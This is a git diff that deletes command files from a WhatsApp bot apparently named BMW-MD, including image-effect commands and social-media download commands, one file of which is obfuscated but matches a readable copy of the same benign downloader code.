-function createCanvacordCommand(commandName, canvacordFunction) {
- adams({
- nomCom: commandName,
- categorie: "Image-Edit",
- reaction: "🎉"
- }, async (origineMessage, zk, commandeOptions) => {
- const { ms, msgRepondu, auteurMsgRepondu } = commandeOptions;
- const clientId = 'b40a1820d63cd4e' ;
-
- try {
- let img;
- if (msgRepondu) {
-
- if (msgRepondu.imageMessage) {
- const image = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage)
- img = await uploadImageToImgur(image, clientId )
- } else {
-
- img = await zk.profilePictureUrl(auteurMsgRepondu, 'image'); }
- } else {
- img = "https://i.pinimg.com/564x/84/09/12/840912dd744e6662ab211b8070b5d84c.jpg";
- }
-
- const result = await canvacordFunction(img);
-
- await zk.sendMessage(origineMessage, { image: result }, { quoted: ms });
- } catch (error) {
- console.error(`Error when ordering "${commandName}":`, error);
- }
- });
-}
-
-// Créer des commandes avec différentes fonctions canvacord
-createCanvacordCommand("shit", canvacord.Canvacord.shit);
-createCanvacordCommand("wasted", canvacord.Canvacord.wasted);
-createCanvacordCommand("wanted", canvacord.Canvacord.wanted);
-createCanvacordCommand("trigger", canvacord.Canvacord.trigger);
-createCanvacordCommand("trash", canvacord.Canvacord.trash);
-createCanvacordCommand("rip", canvacord.Canvacord.rip);
-createCanvacordCommand("sepia", canvacord.Canvacord.sepia);
-createCanvacordCommand("rainbow", canvacord.Canvacord.rainbow);
-createCanvacordCommand("hitler", canvacord.Canvacord.hitler);
-createCanvacordCommand("invert", canvacord.Canvacord.invert);
-createCanvacordCommand("jail", canvacord.Canvacord.jail);
-createCanvacordCommand("affect", canvacord.Canvacord.affect);
- createCanvacordCommand("beautiful", canvacord.Canvacord.beautiful);
- createCanvacordCommand("blur", canvacord.Canvacord.blur);
-
- createCanvacordCommand("circle", canvacord.Canvacord.circle);
- createCanvacordCommand("facepalm", canvacord.Canvacord.facepalm);
- createCanvacordCommand("greyscale", canvacord.Canvacord.greyscale);
- createCanvacordCommand("joke", canvacord.Canvacord.jokeOverHead);
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/scs/bmwce.js b/scs/bmwce.js
deleted file mode 100644
index b46bdfa..0000000
--- a/scs/bmwce.js
+++ /dev/null
@@ -1,36 +0,0 @@
-
-
-
-
-
-
-const {adams} = require('../Ibrahim/adams');
-var gis = require('g-i-s');
-
-
-adams({
- nomCom: "img",
- categorie: "Search",
- reaction: "📷"
-},
-async (dest, zk, commandeOptions) => {
- const { repondre, ms, arg } = commandeOptions;
-
- if (!arg[0]) {
- repondre('which image ? !');
- return;
- }
-
- const searchTerm = arg.join(" ");
- //repondre("termes " +searchTerm);
- gis(searchTerm,envoiImage);
-
- function envoiImage(e,r)
- {
- if(e){repondre("oups une error ")}else{for(var a=0;a<5;a++){zk.sendMessage(dest,{image:{url:r[a].url}},{quoted:ms});}}
-
- }
-
- //gis(searchTerm,envoiImage);
-
-});
diff --git a/scs/bmwcii.js b/scs/bmwcii.js
deleted file mode 100644
index dd7aab1..0000000
--- a/scs/bmwcii.js
+++ /dev/null
@@ -1,455 +0,0 @@
-const _0x1d6e98=_0x1eb6;(function(_0xf9a2e0,_0x2faecd){const _0x43dd89=_0x1eb6,_0x293e23=_0xf9a2e0();while(!![]){try{const _0x1f628e=parseInt(_0x43dd89(0xa5))/0x1*(parseInt(_0x43dd89(0x90))/0x2)+-parseInt(_0x43dd89(0x9b))/0x3*(parseInt(_0x43dd89(0xa7))/0x4)+-parseInt(_0x43dd89(0x6c))/0x5+-parseInt(_0x43dd89(0x6d))/0x6+parseInt(_0x43dd89(0x77))/0x7*(-parseInt(_0x43dd89(0x71))/0x8)+-parseInt(_0x43dd89(0x89))/0x9+-parseInt(_0x43dd89(0xaf))/0xa*(-parseInt(_0x43dd89(0xa4))/0xb);if(_0x1f628e===_0x2faecd)break;else _0x293e23['push'](_0x293e23['shift']());}catch(_0x487988){_0x293e23['push'](_0x293e23['shift']());}}}(_0x153d,0xd2014));const {mediafireDl}=require(_0x1d6e98(0xaa)),{adams}=require('../Ibrahim/adams'),getFBInfo=require('@xaviabot/fb-downloader');function _0x1eb6(_0x1865c9,_0x17b9e5){const _0x153d53=_0x153d();return _0x1eb6=function(_0x1eb6fe,_0x491f5b){_0x1eb6fe=_0x1eb6fe-0x66;let _0xaa2fe1=_0x153d53[_0x1eb6fe];return _0xaa2fe1;},_0x1eb6(_0x1865c9,_0x17b9e5);}adams({'nomCom':_0x1d6e98(0x68),'categorie':_0x1d6e98(0xae)},async(_0x443624,_0x3293a5,_0x51afbf)=>{const _0x3a3bea=_0x1d6e98,{ms:_0x435786,repondre:_0x4dbe98,arg:_0x7a859c}=_0x51afbf,_0x57335b=_0x7a859c[_0x3a3bea(0x92)]('\x20');if(!_0x57335b)return _0x4dbe98(_0x3a3bea(0xa6));if(!_0x57335b['includes']('github.com'))return _0x4dbe98(_0x3a3bea(0x9a));let [,_0xf8e241,_0x3b19fc]=_0x57335b['match'](/(?:https|git)(?::\/\/|@)github\.com[\/:]([^\/:]+)\/(.+)/i)||[];_0x3b19fc=_0x3b19fc[_0x3a3bea(0x6f)](/.git$/,'');let _0x68e95=_0x3a3bea(0x84)+_0xf8e241+'/'+_0x3b19fc+'/zipball',_0x43b2a0=(await fetch(_0x68e95,{'method':_0x3a3bea(0xab)}))[_0x3a3bea(0x8e)]['get'](_0x3a3bea(0x94))[_0x3a3bea(0x97)](/attachment; filename=(.*)/)[0x1];_0x3293a5[_0x3a3bea(0x9c)](_0x443624,{'document':{'url':_0x68e95},'fileName':_0x43b2a0+_0x3a3bea(0x88),'mimetype':_0x3a3bea(0xa8)},{'quoted':_0x435786})[_0x3a3bea(0xa2)](_0x445e50=>_0x4dbe98('error'));}),adams({'nomCom':'tiktok','categorie':'Download'},async(_0x5d38de,_0x45ab7f,_0x11aebd)=>{const _0x574c55=_0x1d6e98,{ms:_0x73cd0c,repondre:_0x107b4c,arg:_0x19fa20}=_0x11aebd;let _0x71d1a2=_0x19fa20[_0x574c55(0x92)]('\x20');if(!_0x19fa20[0x0])return _0x107b4c(_0x574c55(0xa1));const _0x241546=await fetch(_0x574c55(0x8a)+_0x71d1a2),_0x257104=await _0x241546[_0x574c55(0x6e)]();await _0x107b4c('A\x20moment,\x20*BMW-MD*\x20is\x20Downloading\x20that...');const _0x30920c=_0x257104['data'][_0x574c55(0x87)];await _0x45ab7f['sendMessage'](_0x5d38de,{'video':{'url':_0x30920c},'caption':'_╰►VIDEO\x20DOWNLOADED\x20BY_\x20*BMW-MD*','gifPlayback':![]},{'quoted':_0x73cd0c});}),adams({'nomCom':_0x1d6e98(0x76),'categorie':_0x1d6e98(0xae)},async(_0x1c430f,_0x46a8e6,_0x102136)=>{const _0x29d5c5=_0x1d6e98,{ms:_0x4e1dcb,repondre:_0x1ced16,arg:_0xd2394d}=_0x102136;let _0x2ceba5=_0xd2394d[_0x29d5c5(0x92)]('\x20');if(!_0xd2394d[0x0]){_0x1ced16(_0x29d5c5(0x9f));return;}try{const _0x1481aa=await fetch(_0x29d5c5(0x8d)+_0x2ceba5),_0x15ff56=await _0x1481aa[_0x29d5c5(0x6e)](),_0x58f630=_0x15ff56[_0x29d5c5(0x7d)];_0x46a8e6[_0x29d5c5(0x9c)](_0x1c430f,{'image':{'url':_0x58f630},'caption':_0x29d5c5(0x66),'gifPlayback':![]},{'quoted':_0x4e1dcb});}catch(_0x21e9e6){_0x1ced16(_0x29d5c5(0x99)+_0x21e9e6);}}),adams({'nomCom':_0x1d6e98(0xac),'categorie':_0x1d6e98(0xae)},async(_0x22f059,_0x461ec0,_0x1afc29)=>{const _0x5fc0ca=_0x1d6e98,{ms:_0xee7e60,repondre:_0x401ba9,arg:_0x9693b2}=_0x1afc29;if(!_0x9693b2[0x0]){_0x401ba9(_0x5fc0ca(0xa0));return;};try{let _0x352bc4=await fetch(_0x5fc0ca(0x78));_0x352bc4[_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][0x0]['type']==_0x5fc0ca(0x93)?_0x461ec0[_0x5fc0ca(0x9c)](_0x22f059,{'video':{'url':_0x352bc4[_0x5fc0ca(0x8c)]['data'][_0x5fc0ca(0x8c)][0x0]['url_download']},'caption':_0x5fc0ca(0x98),'gifPlayback':![]},{'quoted':_0xee7e60}):_0x461ec0[_0x5fc0ca(0x9c)](_0x22f059,{'image':{'url':_0x352bc4[_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][0x0][_0x5fc0ca(0x82)]},'caption':'Here\x20is\x20your\x20Instagram\x20image.\x0aPowered\x20by\x20*BMW-MD*'});}catch(_0x37cee8){_0x401ba9(_0x5fc0ca(0x69)+_0x37cee8);}}),adams({'nomCom':'video-dl','categorie':_0x1d6e98(0xae)},async(_0x4c1826,_0x4a0561,_0x44059d)=>{const _0x346bd9=_0x1d6e98,{ms:_0x4008b1,repondre:_0x1bfa04,arg:_0x2ccc17}=_0x44059d;let _0x53688d=_0x2ccc17[_0x346bd9(0x92)]('\x20');if(!_0x2ccc17[0x0]){_0x1bfa04(_0x346bd9(0x8f));return;}try{const _0x46927c=await fetch('https://www.noobs-api.000.pe/dipto/alldl?url='+_0x53688d),_0x139c10=await _0x46927c[_0x346bd9(0x6e)](),_0x2dbcc9=_0x139c10['result'];_0x4a0561[_0x346bd9(0x9c)](_0x4c1826,{'video':{'url':_0x2dbcc9},'caption':'_╰►VIDEO\x20DOWNLOADED\x20BY_\x20*BMW-MD*','gifPlayback':![]},{'quoted':_0x4008b1});}catch(_0x1154f4){_0x1bfa04(_0x346bd9(0x99)+_0x1154f4);}}),adams({'nomCom':_0x1d6e98(0x75),'categorie':_0x1d6e98(0xae)},async(_0x5b8e3d,_0x5540c4,_0x1e1c26)=>{const _0x30896a=_0x1d6e98,{ms:_0x48c053,repondre:_0x47575a,arg:_0x21e5ed}=_0x1e1c26;let _0x4adde6=_0x21e5ed[_0x30896a(0x92)]('\x20');if(!_0x21e5ed[0x0]){_0x47575a('Please\x20insert\x20a\x20*TWITTER\x20or\x20X\x20Video\x20Link*\x20for\x20*BMW-MD*\x20to\x20download\x20');return;}try{const _0x395757=await fetch(_0x30896a(0x81)+_0x4adde6),_0x5051a9=await _0x395757[_0x30896a(0x6e)]();if(_0x5051a9&&_0x5051a9['data']&&_0x5051a9[_0x30896a(0x8c)]['HD']){const _0x18124e=_0x5051a9[_0x30896a(0x8c)]['HD'];_0x5540c4[_0x30896a(0x9c)](_0x5b8e3d,{'video':{'url':_0x18124e},'caption':_0x30896a(0x85),'gifPlayback':![]},{'quoted':_0x48c053});}}catch(_0x3ef46){_0x47575a(_0x30896a(0x72)+_0x3ef46);}}),adams({'nomCom':_0x1d6e98(0x79),'categorie':_0x1d6e98(0xae)},async(_0x236640,_0x2eef16,_0x1194ad)=>{const _0x14ef5d=_0x1d6e98,{ms:_0x3ce23c,repondre:_0xbdf30c,arg:_0x594be1}=_0x1194ad;let _0x4625bd=_0x594be1[_0x14ef5d(0x92)]('\x20');if(!_0x594be1[0x0]){_0xbdf30c(_0x14ef5d(0x8b));return;};try{const _0x26e13c=await mediafireDl(_0x4625bd);if(_0x26e13c[0x0]['size'][_0x14ef5d(0x70)]('MB')[0x0]>=0x64)return m[_0x14ef5d(0x74)](_0x14ef5d(0x67));await _0x2eef16[_0x14ef5d(0x9c)](_0x236640,{'document':{'url':_0x26e13c[0x0][_0x14ef5d(0x9d)]},'fileName':_0x26e13c[0x0][_0x14ef5d(0x7a)],'mimetype':_0x26e13c[0x0][_0x14ef5d(0x7e)],'caption':_0x14ef5d(0x73)+_0x26e13c[0x0][_0x14ef5d(0x7a)]},{'quoted':_0x3ce23c});}catch(_0x32298d){_0xbdf30c(_0x14ef5d(0x7f)+_0x32298d);}}),adams({'nomCom':'fb','categorie':_0x1d6e98(0xae),'reaction':_0x1d6e98(0xa3)},async(_0x1a25c6,_0x1093b2,_0xdd563)=>{const _0x5f1dc6=_0x1d6e98,{repondre:_0x5560c9,ms:_0x3fd942,arg:_0x23f76c}=_0xdd563;if(!_0x23f76c[0x0]){_0x5560c9('Insert\x20a\x20public\x20facebook\x20video\x20link!');return;}const _0x210699=_0x23f76c[_0x5f1dc6(0x92)]('\x20');try{getFBInfo(_0x210699)[_0x5f1dc6(0x86)](_0x508db8=>{const _0x1eea69=_0x5f1dc6;let _0xe8c5f='\x0a\x20*Title:*\x20'+_0x508db8[_0x1eea69(0x6b)]+_0x1eea69(0x80)+_0x508db8[_0x1eea69(0xad)]+'\x0a\x20';_0x1093b2[_0x1eea69(0x9c)](_0x1a25c6,{'image':{'url':_0x508db8[_0x1eea69(0x95)]},'caption':_0xe8c5f},{'quoted':_0x3fd942}),_0x1093b2[_0x1eea69(0x9c)](_0x1a25c6,{'video':{'url':_0x508db8['hd']},'caption':_0x1eea69(0x7c)},{'quoted':_0x3fd942});})[_0x5f1dc6(0xa2)](_0x2d1226=>{const _0x524dfa=_0x5f1dc6;console[_0x524dfa(0x7b)](_0x524dfa(0xa9),_0x2d1226),_0x5560c9(_0x524dfa(0x6a));});}catch(_0xab1487){console[_0x5f1dc6(0xb1)](_0x5f1dc6(0x9e),_0xab1487),_0x5560c9('An\x20error\x20occurred\x20while\x20downloading\x20your\x20media.',_0xab1487);}}),adams({'nomCom':_0x1d6e98(0xb0),'categorie':'Download','reaction':_0x1d6e98(0xa3)},async(_0x7c724e,_0x49724a,_0x1edb91)=>{const _0x383628=_0x1d6e98,{repondre:_0x392003,ms:_0x536e9a,arg:_0x479e12}=_0x1edb91;if(!_0x479e12[0x0]){_0x392003(_0x383628(0x91));return;}const _0x439e43=_0x479e12['join']('\x20');try{getFBInfo(_0x439e43)[_0x383628(0x86)](_0x365ad0=>{const _0x1d79bf=_0x383628;let _0x3e059b=_0x1d79bf(0x83)+_0x365ad0[_0x1d79bf(0x6b)]+_0x1d79bf(0x80)+_0x365ad0[_0x1d79bf(0xad)]+'\x0a\x20';_0x49724a[_0x1d79bf(0x9c)](_0x7c724e,{'image':{'url':_0x365ad0[_0x1d79bf(0x95)]},'caption':_0x3e059b},{'quoted':_0x536e9a}),_0x49724a['sendMessage'](_0x7c724e,{'video':{'url':_0x365ad0['sd']},'caption':_0x1d79bf(0x7c)},{'quoted':_0x536e9a});})['catch'](_0x2623c6=>{const _0x52a265=_0x383628;console[_0x52a265(0x7b)](_0x52a265(0xa9),_0x2623c6),_0x392003(_0x2623c6);});}catch(_0x43dbf9){console[_0x383628(0xb1)](_0x383628(0x96),_0x43dbf9),_0x392003('An\x20error\x20occurred\x20while\x20Bmw-Md\x20was\x20downloading\x20your\x20media.',_0x43dbf9);}});function _0x153d(){const _0x296621=['Give\x20me\x20any\x20social\x20media\x20image\x20link!','provide\x20an\x20instragam\x20link\x20','Please\x20insert\x20a\x20tiktok\x20video\x20link!','catch','📽️','5980601uMvVYR','12RZrvCF','Please\x20provide\x20a\x20valid\x20github\x20link.','4OYNNmK','application/zip','Error:','../Ibrahim/dl/Function','HEAD','instagram','url','Download','100cXXYXg','fb2','error','_╰►IMAGE\x20DOWNLOADED\x20BY_\x20*BMW-MD*','File\x20tooooo\x20big','gitclone','An\x20error\x20Occurred\x20while\x20downloading\x20your\x20media.\x0a*KEEP\x20USING\x20BMW-MD*','try\x20fb2\x20on\x20this\x20link','title','4483660cgMOkD','8857014aRUpXw','json','replace','split','48FSKnpN','I\x20am\x20unable\x20to\x20download\x20your\x20media.\x20\x0a\x20','Downloaded\x20by\x20FLASH-MD:\x20','reply','twitter','image-dl','746403srBrud','https://www.guruapi.tech/api/igdlv1?url=${link}','mediafire','nama','log','_╰►VIDEO\x20DOWNLOADED\x20BY_\x20*BMW-MD*','result','mime','I\x20am\x20unable\x20to\x20download\x20the\x20file.\x20\x0a\x20','\x0a\x0a\x20\x0a\x20*Direct\x20Link:*\x20','https://api.maher-zubair.tech/download/twitter?url=','url_download','\x0a\x20*Title:*\x20','https://api.github.com/repos/','Here\x20is\x20your\x20Twitter\x20Video.\x0a\x20_Downloaded\x20by_\x20*BMW-MD*','then','no_wm','.zip','1970892oUPbXZ','https://api.prabath-md.tech/api/tiktokdl?url=','Provide\x20mediafire\x20link\x0a\x0amediafire\x20','data','https://aiodownloader.onrender.com/download?url=','headers','Give\x20me\x20any\x20social\x20media\x20video\x20link!','36854QLKeDE','Insert\x20a\x20public\x20facebook\x20video\x20link!\x20!','join','video','content-disposition','thumbnail','An\x20error\x20occurred\x20while\x20Bmw-Md\x20was\x20downloading\x20your\x20media:','match','Here\x20is\x20your\x20Instagram\x20video.\x0aPowered\x20by\x20*BMW-MD*','A\x20fatal\x20error\x20has\x20occured...\x20\x0a\x20','Is\x20that\x20a\x20GitHub\x20repo\x20link\x20?!','4698573KGlmhD','sendMessage','link','An\x20error\x20occurred\x20while\x20*BMW-MD*\x20was\x20downloading\x20your\x20media:'];_0x153d=function(){return _0x296621;};return _0x153d();}
-
-
-
-/**
-const {
- mediafireDl
-} = require("../Ibrahim/dl/Function");
-const {
- adams
-} = require("../Ibrahim/adams");
-const getFBInfo = require("@xaviabot/fb-downloader");
-adams({
- 'nomCom': "gitclone",
- 'categorie': "Download"
-}, async (_0x1c2fd1, _0x45058e, _0x4f56d8) => {
- const {
- ms: _0x4ec678,
- repondre: _0x3f8a54,
- arg: _0x18d6ab
- } = _0x4f56d8;
- const _0x4bab3c = _0x18d6ab.join(" ");
- if (!_0x4bab3c) {
- return _0x3f8a54("Please provide a valid github link.");
- }
- if (!_0x4bab3c.includes("github.com")) {
- return _0x3f8a54("Is that a GitHub repo link ?!");
- }
- let [, _0x3acdad, _0x3f9933] = _0x4bab3c.match(/(?:https|git)(?::\/\/|@)github\.com[\/:]([^\/:]+)\/(.+)/i) || [];
- _0x3f9933 = _0x3f9933.replace(/.git$/, '');
- let _0x394ebd = "https://api.github.com/repos/" + _0x3acdad + '/' + _0x3f9933 + "/zipball";
- let _0x5c6799 = (await fetch(_0x394ebd, {
- 'method': "HEAD"
- })).headers.get("content-disposition").match(/attachment; filename=(.*)/)[1];
- _0x45058e.sendMessage(_0x1c2fd1, {
- 'document': {
- 'url': _0x394ebd
- },
- 'fileName': _0x5c6799 + ".zip",
- 'mimetype': "application/zip"
- }, {
- 'quoted': _0x4ec678
- })["catch"](_0x2c3dbe => _0x3f8a54("error"));
-});
-adams({
- 'nomCom': "tiktok",
- 'categorie': "Download"
-}, async (_0x42b1bf, _0x3a058d, _0x11f9d9) => {
- const {
- ms: _0x333a0e,
- repondre: _0x1a32e5,
- arg: _0x1b0b51
- } = _0x11f9d9;
- let _0x21bd31 = _0x1b0b51.join(" ");
- if (!_0x1b0b51[0]) {
- return _0x1a32e5("Please insert a tiktok video link!");
- }
- const _0x5d8397 = await fetch("https://api.prabath-md.tech/api/tiktokdl?url=" + _0x21bd31);
- const _0x38d5e1 = await _0x5d8397.json();
- await _0x1a32e5("A moment, *BMW-MD* is Downloading that...");
- const _0x504587 = _0x38d5e1.data.no_wm;
- await _0x3a058d.sendMessage(_0x42b1bf, {
- 'video': {
- 'url': _0x504587
- },
- 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*",
- 'gifPlayback': false
- }, {
- 'quoted': _0x333a0e
- });
-});
-adams({
- 'nomCom': "image-dl",
- 'categorie': "Download"
-}, async (_0x38d623, _0x42db7e, _0x1281b3) => {
- const {
- ms: _0x529878,
- repondre: _0x226795,
- arg: _0x2f8336
- } = _0x1281b3;
- let _0x3fc64a = _0x2f8336.join(" ");
- if (!_0x2f8336[0]) {
- _0x226795("Give me any social media image link!");
- return;
- }
- try {
- const _0x13451d = await fetch("https://aiodownloader.onrender.com/download?url=" + _0x3fc64a);
- const _0xb125b5 = await _0x13451d.json();
- const _0x9cb53 = _0xb125b5.result;
- _0x42db7e.sendMessage(_0x38d623, {
- 'image': {
- 'url': _0x9cb53
- },
- 'caption': "_╰►IMAGE DOWNLOADED BY_ *BMW-MD*",
- 'gifPlayback': false
- }, {
- 'quoted': _0x529878
- });
- } catch (_0x53d9be) {
- _0x226795("A fatal error has occured... \n " + _0x53d9be);
- }
-});
-adams({
- 'nomCom': "instagram",
- 'categorie': "Download"
-}, async (_0xf2a010, _0x3c01ae, _0x488f66) => {
- const {
- ms: _0x324321,
- repondre: _0x1eddf6,
- arg: _0x57528e
- } = _0x488f66;
- if (!_0x57528e[0]) {
- _0x1eddf6("provide an instragam link ");
- return;
- }
- ;
- try {
- let _0xfb5ca8 = await fetch("https://www.guruapi.tech/api/igdlv1?url=${link}");
- if (_0xfb5ca8.data.data.data[0].type == "video") {
- _0x3c01ae.sendMessage(_0xf2a010, {
- 'video': {
- 'url': _0xfb5ca8.data.data.data[0].url_download
- },
- 'caption': "Here is your Instagram video.\nPowered by *BMW-MD*",
- 'gifPlayback': false
- }, {
- 'quoted': _0x324321
- });
- } else {
- _0x3c01ae.sendMessage(_0xf2a010, {
- 'image': {
- 'url': _0xfb5ca8.data.data.data[0].url_download
- },
- 'caption': "Here is your Instagram image.\nPowered by *BMW-MD*"
- });
- }
- } catch (_0x4fdba6) {
- _0x1eddf6("An error Occurred while downloading your media.\n*KEEP USING BMW-MD*" + _0x4fdba6);
- }
-});
-adams({
- 'nomCom': "video-dl",
- 'categorie': "Download"
-}, async (_0x46a8a0, _0x17b453, _0x2b60f2) => {
- const {
- ms: _0x589c36,
- repondre: _0x574033,
- arg: _0x23ec22
- } = _0x2b60f2;
- let _0x5e9106 = _0x23ec22.join(" ");
- if (!_0x23ec22[0]) {
- _0x574033("Give me any social media video link!");
- return;
- }
- try {
- const _0x22af05 = await fetch("https://www.noobs-api.000.pe/dipto/alldl?url=" + _0x5e9106);
- const _0x170f9e = await _0x22af05.json();
- const _0x3c3efe = _0x170f9e.result;
- _0x17b453.sendMessage(_0x46a8a0, {
- 'video': {
- 'url': _0x3c3efe
- },
- 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*",
- 'gifPlayback': false
- }, {
- 'quoted': _0x589c36
- });
- } catch (_0x1cf0b8) {
- _0x574033("A fatal error has occured... \n " + _0x1cf0b8);
- }
-});
-adams({
- 'nomCom': "twitter",
- 'categorie': "Download"
-}, async (_0x40d611, _0x29f4c2, _0x216827) => {
- const {
- ms: _0x178e4c,
- repondre: _0x330fea,
- arg: _0x1091be
- } = _0x216827;
- let _0x35e7e3 = _0x1091be.join(" ");
- if (!_0x1091be[0]) {
- _0x330fea("Please insert a *TWITTER or X Video Link* for *BMW-MD* to download ");
- return;
- }
- try {
- const _0x1e0844 = await fetch("https://api.maher-zubair.tech/download/twitter?url=" + _0x35e7e3);
- const _0x1e3a2f = await _0x1e0844.json();
- if (_0x1e3a2f && _0x1e3a2f.data && _0x1e3a2f.data.HD) {
- const _0x32bc4e = _0x1e3a2f.data.HD;
- _0x29f4c2.sendMessage(_0x40d611, {
- 'video': {
- 'url': _0x32bc4e
- },
- 'caption': "Here is your Twitter Video.\n _Downloaded by_ *BMW-MD*",
- 'gifPlayback': false
- }, {
- 'quoted': _0x178e4c
- });
- }
- } catch (_0x19fce0) {
- _0x330fea("I am unable to download your media. \n " + _0x19fce0);
- }
-});
-adams({
- 'nomCom': "mediafire",
- 'categorie': "Download"
-}, async (_0x12d48b, _0x1a75ba, _0x253e26) => {
- const {
- ms: _0x1cac40,
- repondre: _0x56acc0,
- arg: _0x4f5641
- } = _0x253e26;
- let _0x404891 = _0x4f5641.join(" ");
- if (!_0x4f5641[0]) {
- _0x56acc0("Provide mediafire link\n\nmediafire ");
- return;
- }
- ;
- try {
- const _0x5c499c = await mediafireDl(_0x404891);
- if (_0x5c499c[0].size.split('MB')[0] >= 100) {
- return m.reply("File tooooo big");
- }
- await _0x1a75ba.sendMessage(_0x12d48b, {
- 'document': {
- 'url': _0x5c499c[0].link
- },
- 'fileName': _0x5c499c[0].nama,
- 'mimetype': _0x5c499c[0].mime,
- 'caption': "Downloaded by FLASH-MD: " + _0x5c499c[0].nama
- }, {
- 'quoted': _0x1cac40
- });
- } catch (_0x572051) {
- _0x56acc0("I am unable to download the file. \n " + _0x572051);
- }
-});
-adams({
- 'nomCom': 'fb',
- 'categorie': "Download",
- 'reaction': "📽️"
-}, async (_0x3a78a5, _0xc18979, _0xf0a7a0) => {
- const {
- repondre: _0x3c875a,
- ms: _0x2e8d37,
- arg: _0xd0f2d0
- } = _0xf0a7a0;
- if (!_0xd0f2d0[0]) {
- _0x3c875a("Insert a public facebook video link!");
- return;
- }
- const _0x5938f0 = _0xd0f2d0.join(" ");
- try {
- getFBInfo(_0x5938f0).then(_0x44be8d => {
- let _0x76640a = "\n *Title:* " + _0x44be8d.title + "\n\n \n *Direct Link:* " + _0x44be8d.url + "\n ";
- _0xc18979.sendMessage(_0x3a78a5, {
- 'image': {
- 'url': _0x44be8d.thumbnail
- },
- 'caption': _0x76640a
- }, {
- 'quoted': _0x2e8d37
- });
- _0xc18979.sendMessage(_0x3a78a5, {
- 'video': {
- 'url': _0x44be8d.hd
- },
- 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*"
- }, {
- 'quoted': _0x2e8d37
- });
- })["catch"](_0x41d84f => {
- console.log("Error:", _0x41d84f);
- _0x3c875a("try fb2 on this link");
- });
- } catch (_0x1d71c9) {
- console.error("An error occurred while *BMW-MD* was downloading your media:", _0x1d71c9);
- _0x3c875a("An error occurred while downloading your media.", _0x1d71c9);
- }
-});
-adams({
- 'nomCom': "fb2",
- 'categorie': "Download",
- 'reaction': "📽️"
-}, async (_0xcad438, _0x341fa4, _0x1bf24c) => {
- const {
- repondre: _0x55e155,
- ms: _0x41f279,
- arg: _0x2b5eb7
- } = _0x1bf24c;
- if (!_0x2b5eb7[0]) {
- _0x55e155("Insert a public facebook video link! !");
- return;
- }
- const _0x1fd99e = _0x2b5eb7.join(" ");
- try {
- getFBInfo(_0x1fd99e).then(_0x2bbae1 => {
- let _0x8231c = "\n *Title:* " + _0x2bbae1.title + "\n\n \n *Direct Link:* " + _0x2bbae1.url + "\n ";
- _0x341fa4.sendMessage(_0xcad438, {
- 'image': {
- 'url': _0x2bbae1.thumbnail
- },
- 'caption': _0x8231c
- }, {
- 'quoted': _0x41f279
- });
- _0x341fa4.sendMessage(_0xcad438, {
- 'video': {
- 'url': _0x2bbae1.sd
- },
- 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*"
- }, {
- 'quoted': _0x41f279
- });
- })["catch"](_0x3eb21d => {
- console.log("Error:", _0x3eb21d);
- _0x55e155(_0x3eb21d);
- });
- } catch (_0x2b1e09) {
- console.error("An error occurred while Bmw-Md was downloading your media:", _0x2b1e09);
- _0x55e155("An error occurred while Bmw-Md was downloading your media.", _0x2b1e09);
- }
-});
-
-
-const {adams} = require('../Ibrahim/adams');
-const fs = require('fs');
-const getFBInfo = require("@xaviabot/fb-downloader");
-const { default: axios } = require('axios');
-
-adams({nomCom : "instagram" , categorie : "Download"},async (dest , zk , commandeOptions)=>{
- const {ms,repondre,arg} = commandeOptions ;
-
- let link = arg.join(' ')
-
- if (!arg[0]) { repondre('Veillez insérer un lien video instagramme');return};
-
- try {
-
- let igvid = await axios('https://vihangayt.me/download/instagram?url='+link)
-
- if (igvid.data.data.data[0].type == 'video') {
- zk.sendMessage(dest,{video : {url : igvid.data.data.data[0].url},caption : "ig video downloader powered by *Bmw-Md*",gifPlayback : false },{quoted : ms})
- }
- else {
- zk.sendMessage(dest,{image : {url : igvid.data.data.data[0].url},caption : "ig image downloader powered by *Bmw-Md*"})
- }
-
- } catch (e) {repondre("erreur survenue lors du téléchargement \n " + e)}
-
-});
-
-
-adams({
- nomCom: "facabook",
- categorie: "Download",
- reaction: "📽️"
-},
-async (dest, zk, commandeOptions) => {
- const { repondre, ms, arg } = commandeOptions;
-
- if (!arg[0]) {
- repondre('Insert a public facebook video link!');
- return;
- }
-
- const queryURL = arg.join(" ");
-
- try {
- getFBInfo(queryURL)
- .then((result) => {
- let caption = `
- titre: ${result.title}
- Lien: ${result.url}
- `;
- zk.sendMessage(dest,{image : { url : result.thumbnail}, caption : caption},{quoted : ms}) ;
- zk.sendMessage(dest, { video: { url: result.hd }, caption: 'facebook video downloader powered by *Bmw-MD*' }, { quoted: ms });
-
- })
- .catch((error) => {console.log("Error:", error)
- repondre('try fbdl2 on this link')});
-
-
-
- } catch (error) {
- console.error('Erreur lors du téléchargement de la vidéo :', error);
- repondre('Erreur lors du téléchargement de la vidéo.' , error);
- }
-});
-
-
-
-adams({ nomCom: "tiktok", categorie: "Download", reaction: "🎵" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`how to use this command:\n ${prefixe}tiktok tiktok_video_link`);
- return;
- }
-
- const videoUrl = arg.join(" ");
-
- let data = await axios.get('https://vihangayt.me/download/tiktok?url='+ videoUrl) ;
-
- let tik = data.data.data
-
- // Envoi du message avec le thumbnail de la vidéo
- const caption = `
-Author: ${tik.author}
-Description: ${tik.desc}
- `;
-
-
- zk.sendMessage(dest, { video: { url: tik.links[0].a} , caption : caption },{quoted : ms});
-
-
-});
-
-adams({
- nomCom: "facebook2",
- categorie: "Download",
- reaction: "📽️"
-},
-async (dest, zk, commandeOptions) => {
- const { repondre, ms, arg } = commandeOptions;
-
- if (!arg[0]) {
- repondre('Insert a public facebook video link! !');
- return;
- }
-
- const queryURL = arg.join(" ");
-
- try {
- getFBInfo(queryURL)
- .then((result) => {
- let caption = `
- titre: ${result.title}
- Lien: ${result.url}
- `;
- zk.sendMessage(dest,{image : { url : result.thumbnail}, caption : caption},{quoted : ms}) ;
- zk.sendMessage(dest, { video: { url: result.sd }, caption: 'facebook video downloader powered by *Bmw-MD*' }, { quoted: ms });
-
- })
